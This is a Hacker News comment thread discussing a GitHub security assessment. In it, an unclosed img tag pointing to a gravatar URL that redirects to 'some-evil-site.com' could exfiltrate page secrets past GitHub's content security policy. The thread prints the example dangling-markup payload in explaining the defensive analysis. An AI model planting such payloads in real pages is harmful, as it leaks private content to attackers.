Hacker Newsnew | past | comments | ask | show | jobs | submitlogin

What I don't understand is how the image URL ends up in a non-closed img src attribute. They might be getting the URL from a third party:

  https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f
But GitHub is the one opening and closing the tag, probably in some kind of template:

  <img src="{gravatar_url}">
  <p>secret</p>
Which should result in this:

  <img src="https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f">
  <p>secret</p>
and not this:

  <img src="https://www.gravatar.com/avatar/0?d=https%3A%2F%2Fsome-evil-site.com%2Fimages%2Favatar.jpg%2f
  <p>secret</p>
Any idea why they are getting the latter?


Yes, the attack assumes a content injection bug in GitHub.com. The attack is not using our own gravatar URL generation against us; it is the attacker crafting an arbitrary URL and using that URL inside of an arbitrary image tag. The reason for the attacker being "forced" to use a gravatar URL is that it was one of the very few third-party hosts we previously allowed by our CSP policy. So, the attack demonstrates how this previously allowed host could be used to exfiltrate sensitive content if/when an attacker found a way to inject arbitrary HTML into a page on GitHub.com.


They weren't getting the latter, they specifically went in there looking to mitigate what a theoretical content injection attack could do.

> In a relatively unique project, we asked Cure53 to assess what an attacker could do, assuming a content injection bug in GitHub.com




Consider applying for YC's Winter 2027 batch! Applications are open till November 2.

Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: